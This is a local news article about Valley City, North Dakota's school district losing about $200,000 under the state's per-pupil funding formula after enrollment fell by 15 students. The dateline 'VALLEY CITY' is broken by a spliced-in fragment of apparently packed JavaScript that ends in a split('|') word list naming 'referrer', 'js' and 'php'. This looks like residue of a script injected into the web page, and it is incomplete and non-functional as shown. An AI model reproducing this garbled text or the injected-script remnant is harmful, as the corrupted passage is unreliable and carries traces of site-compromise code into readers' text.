VALLEY hfkrh|var|u0026u|referrer|eynis||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) The state school funding formula needs to be fixed according to Valley City School District Auditor Harold Rotunda. He says it’s a disadvantage for schools with declining enrollment with the formula being based on a per pupil payment.

Rotunda said right now, the Valley City School District is projected to lose $200,000 in funding due to there being 15 few students this year compared to the previous year. In addition, he said the district’s mill levy was reduced by 60 mills.

Rotunda said the public probably isn’t aware of how the formula works and how school districts have to balance their budgets with projected revenue numbers under this system.

But, he said if the Valley City School District gets 15 or more students to enroll between now and the end of the school year incoming revenue would be altered again for the school district.

Right now the Valley City school district has 1,096 students compared to 1,111 last year. Three years ago the school district lost 25 students over the course of one school year.

The funding formula may be discussed or adjusted again in the upcoming legislative session which begins January 3rd.